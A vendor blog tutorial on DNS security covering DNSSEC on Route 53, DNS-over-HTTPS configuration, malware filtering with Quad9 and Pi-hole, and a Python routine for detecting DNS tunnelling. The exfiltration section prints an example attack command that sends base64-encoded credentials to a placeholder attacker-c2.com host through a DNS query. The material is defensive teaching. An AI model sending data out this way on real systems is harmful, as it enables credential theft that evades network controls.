Network Security

DNS Security Configuration: DNSSEC, DNS-over-HTTPS, and Filtering

How to secure your DNS infrastructure: enabling DNSSEC to prevent cache poisoning, deploying DNS-over-HTTPS for query privacy, using DNS filtering for malware protection, and detecting DNS data exfiltration.

January 1, 20267 min readShipSafer Team

DNS is the phone book of the internet — and it was designed in 1983 with no security in mind. DNS queries are sent in plaintext, responses are unauthenticated, and the protocol is routinely abused for malware command-and-control, data exfiltration, and cache poisoning. Modern DNS security has three pillars: DNSSEC for authentication, DNS-over-HTTPS for privacy, and DNS filtering for malware protection.

Understanding DNS Attack Vectors

Before configuring defenses, understand the specific attacks you're defending against:

DNS Cache Poisoning (Kaminsky Attack): An attacker sends forged DNS responses to a resolver, injecting a malicious IP address for a legitimate domain into the cache. Users who query that resolver are redirected to the attacker's server even though they typed the correct URL. DNSSEC solves this.

DNS Eavesdropping: DNS queries sent in plaintext over UDP/53 are visible to any on-path observer — your ISP, government surveillance systems, hotel Wi-Fi operators, or a malicious hotspot. Every domain you look up is exposed. DNS-over-HTTPS solves this.

DNS Tunneling/Exfiltration: Malware encodes data in DNS query names and reads responses from an attacker-controlled DNS server. Because most firewalls allow DNS outbound, this bypasses network controls. DNS filtering partially mitigates this.

DNS Hijacking: An attacker compromises your DNS registrar, name server, or DNS resolver and redirects your domains to malicious servers. DNSSEC and registrar security controls (2FA, registry lock) mitigate this.

DNSSEC: Cryptographic Authentication for DNS

DNSSEC adds digital signatures to DNS records, allowing resolvers to verify that responses are authentic and haven't been tampered with. It doesn't encrypt DNS traffic — it authenticates it.

How DNSSEC Works

DNSSEC creates a chain of trust from the DNS root zone down to your domain:

  1. The root zone signs TLD zones (.com, .org, etc.)
  2. Each TLD zone signs the delegations to individual domains
  3. Each domain signs its own DNS records

Two key record types:

  • DNSKEY: Stores the public key for the zone
  • RRSIG: The digital signature over a set of resource records

Enabling DNSSEC for Your Domain

Most registrars support DNSSEC through their web interface. For Route 53:

# Enable DNSSEC signing for a hosted zone
aws route53 enable-hosted-zone-dnssec \
  --hosted-zone-id Z1PA6795UKMFR9

# Create a Key Signing Key (KSK) using AWS KMS
aws route53 create-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --key-management-service-arn arn:aws:kms:us-east-1:123456789:key/abc123 \
  --name myapp-ksk \
  --status ACTIVE

# Get the DS record to submit to your registrar
aws route53 get-dnssec \
  --hosted-zone-id Z1PA6795UKMFR9

The output includes a DelegationSignerRecord with the DSRecord field. Submit this to your domain registrar to complete the chain of trust.

Verify DNSSEC is working:

# Check if a domain is DNSSEC-signed
dig +dnssec example.com A

# Look for the 'ad' flag in the response (Authenticated Data)
# ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2

# Use a dedicated validator
drill -TD example.com

# Online check
# https://dnssec-debugger.verisignlabs.com/

DNSSEC Key Rotation

DNSSEC keys should be rotated periodically. Zone Signing Keys (ZSKs) typically monthly, Key Signing Keys (KSKs) annually.

# Route 53 automated key rotation
aws route53 create-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --key-management-service-arn arn:aws:kms:us-east-1:123456789:key/new-key \
  --name myapp-ksk-2026 \
  --status ACTIVE

# Update DS record at registrar with new KSK
# Wait for TTL to expire across resolvers (typically 24-48 hours)
# Then deactivate and delete the old KSK
aws route53 deactivate-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --name myapp-ksk-2025

Critical: Always add the new DS record to your registrar BEFORE deactivating the old KSK. Removing the DS record without a replacement breaks DNSSEC validation for your domain — DNSSEC-validating resolvers will refuse to resolve your domain, causing a complete outage.

DNS-over-HTTPS (DoH): Query Privacy

DoH encrypts DNS queries inside HTTPS, making them indistinguishable from regular web traffic to passive observers. Queries go to https://dns.provider.com/dns-query instead of UDP port 53.

Configuring DoH in Applications

// Node.js: using a custom DNS resolver with DoH
import { Resolver } from 'dns';
import https from 'https';

async function resolveWithDoH(
  hostname: string,
  dohServer: string
): Promise<string[]> {
  return new Promise((resolve, reject) => {
    const url = `${dohServer}?name=${encodeURIComponent(hostname)}&type=A`;

    https.get(url, {
      headers: {
        Accept: 'application/dns-json',
      },
    }, (res) => {
      let data = '';
      res.on('data', (chunk) => { data += chunk; });
      res.on('end', () => {
        const parsed = JSON.parse(data) as {
          Answer?: Array<{ data: string; type: number }>;
        };
        const addresses = (parsed.Answer ?? [])
          .filter((r) => r.type === 1)  // A records only
          .map((r) => r.data);
        resolve(addresses);
      });
    }).on('error', reject);
  });
}

// Usage
const addresses = await resolveWithDoH(
  'example.com',
  'https://cloudflare-dns.com/dns-query'
);

DoH Server Options

ProviderAddressPrivacy PolicyFiltering
Cloudflarehttps://cloudflare-dns.com/dns-queryNo query logging after 24hOptional (1.1.1.2 for malware)
Googlehttps://dns.google/dns-queryTemporary loggingNo
Quad9https://dns.quad9.net/dns-queryNo PII loggingYes (malware domains)
NextDNShttps://dns.nextdns.io/profile-idConfigurableHighly configurable
AdGuardhttps://dns.adguard.com/dns-queryMinimalAds + trackers

For enterprise environments where you need to log and inspect DNS for security monitoring, run your own DoH server (Cloudflare's cloudflared or Pi-hole with DoH support) that forwards to upstream providers.

System-Wide DoH Configuration

On Linux with systemd-resolved:

# /etc/systemd/resolved.conf
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 1.0.0.1#cloudflare-dns.com
DNSOverTLS=yes
DNSSEC=yes
sudo systemctl restart systemd-resolved
# Verify
resolvectl status

DNS Filtering: Blocking Malware Domains

DNS filtering blocks connections to known malicious domains at the resolver level — before any TCP connection is established. It's an effective layer for blocking:

  • Malware command-and-control (C2) servers
  • Phishing domains
  • Ransomware call-home addresses
  • Ad tracking domains

Cloudflare for Teams (Zero Trust DNS)

# Install cloudflared
curl -L --output cloudflared.deb \
  https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared.deb

# Configure to use your Teams DNS-over-HTTPS endpoint
cloudflared service install \
  --config /etc/cloudflared/config.yml

# /etc/cloudflared/config.yml
proxy-dns: true
proxy-dns-port: 5053
proxy-dns-upstream:
  - https://YOUR_TEAM.cloudflare-gateway.com/dns-query

Quad9 Malware Filtering

Quad9 (9.9.9.9) blocks domains from their threat intelligence feed:

# Test if a known malware domain is blocked
dig @9.9.9.9 malware-test.quad9.net
# Should return NXDOMAIN if blocking is working

For servers, configure /etc/resolv.conf:

nameserver 9.9.9.9
nameserver 149.112.112.112

Running Your Own DNS Filter with Pi-hole + Blocklists

# Docker-based Pi-hole deployment
docker run -d \
  --name pihole \
  -p 53:53/tcp \
  -p 53:53/udp \
  -p 8080:80 \
  -e TZ="America/New_York" \
  -e WEBPASSWORD="secure_admin_password" \
  -e PIHOLE_DNS_="9.9.9.9;1.1.1.1" \
  -v /etc/pihole:/etc/pihole \
  -v /etc/dnsmasq.d:/etc/dnsmasq.d \
  pihole/pihole:latest

Add security-focused blocklists via the Pi-hole admin interface:

  • https://raw.githubusercontent.com/hagezi/dns-blocklists/main/dnsmasq/multi.txt — comprehensive malware/phishing/tracking
  • https://urlhaus.abuse.ch/downloads/hostfile/ — URLhaus active malware URLs

Detecting DNS Data Exfiltration

DNS tunneling encodes data in subdomain labels:

# Attacker exfiltrating data via DNS
dig 5YXVzZXI6cGFzc3dvcmQ=.attacker-c2.com TXT
# The long subdomain is base64-encoded stolen credentials

Detection patterns in your DNS query logs:

import re
from collections import Counter
from typing import NamedTuple

class DnsAlert(NamedTuple):
    query: str
    reason: str
    score: int

def analyze_dns_query(query: str) -> list[DnsAlert]:
    alerts: list[DnsAlert] = []
    labels = query.split('.')

    # Check for unusually long subdomains
    for label in labels[:-2]:  # Exclude TLD and SLD
        if len(label) > 50:
            alerts.append(DnsAlert(query, f"Long subdomain label: {len(label)} chars", 8))

    # Check for high entropy (base64/hex encoded data)
    for label in labels[:-2]:
        entropy = calculate_shannon_entropy(label)
        if entropy > 4.0 and len(label) > 20:
            alerts.append(DnsAlert(query, f"High entropy label: {entropy:.2f}", 9))

    # Check for numeric-heavy domains (IPv4 tunneling)
    combined = ''.join(labels[:-2])
    digit_ratio = sum(c.isdigit() for c in combined) / max(len(combined), 1)
    if digit_ratio > 0.4:
        alerts.append(DnsAlert(query, f"High digit ratio: {digit_ratio:.2f}", 6))

    return alerts

def calculate_shannon_entropy(text: str) -> float:
    if not text:
        return 0.0
    freq = Counter(text)
    length = len(text)
    import math
    return -sum(
        (count / length) * math.log2(count / length)
        for count in freq.values()
    )

Additional exfiltration indicators to monitor:

  • Single source making hundreds of queries to the same registered domain
  • Queries with TXT record requests to domains with no web presence
  • DNS responses larger than 512 bytes (may indicate data retrieval)
  • Queries to newly registered domains (under 30 days old)

Enable DNS query logging in your environment and ingest logs into your SIEM. Alert when any single host queries more than 50 unique subdomains of the same domain within an hour — this is a strong indicator of DNS tunneling activity.

dns security
dnssec
dns-over-https
doh
dns filtering
data exfiltration
network security

Check Your Security Score — Free

See exactly how your domain scores on DMARC, TLS, HTTP headers, and 25+ other automated security checks in under 60 seconds.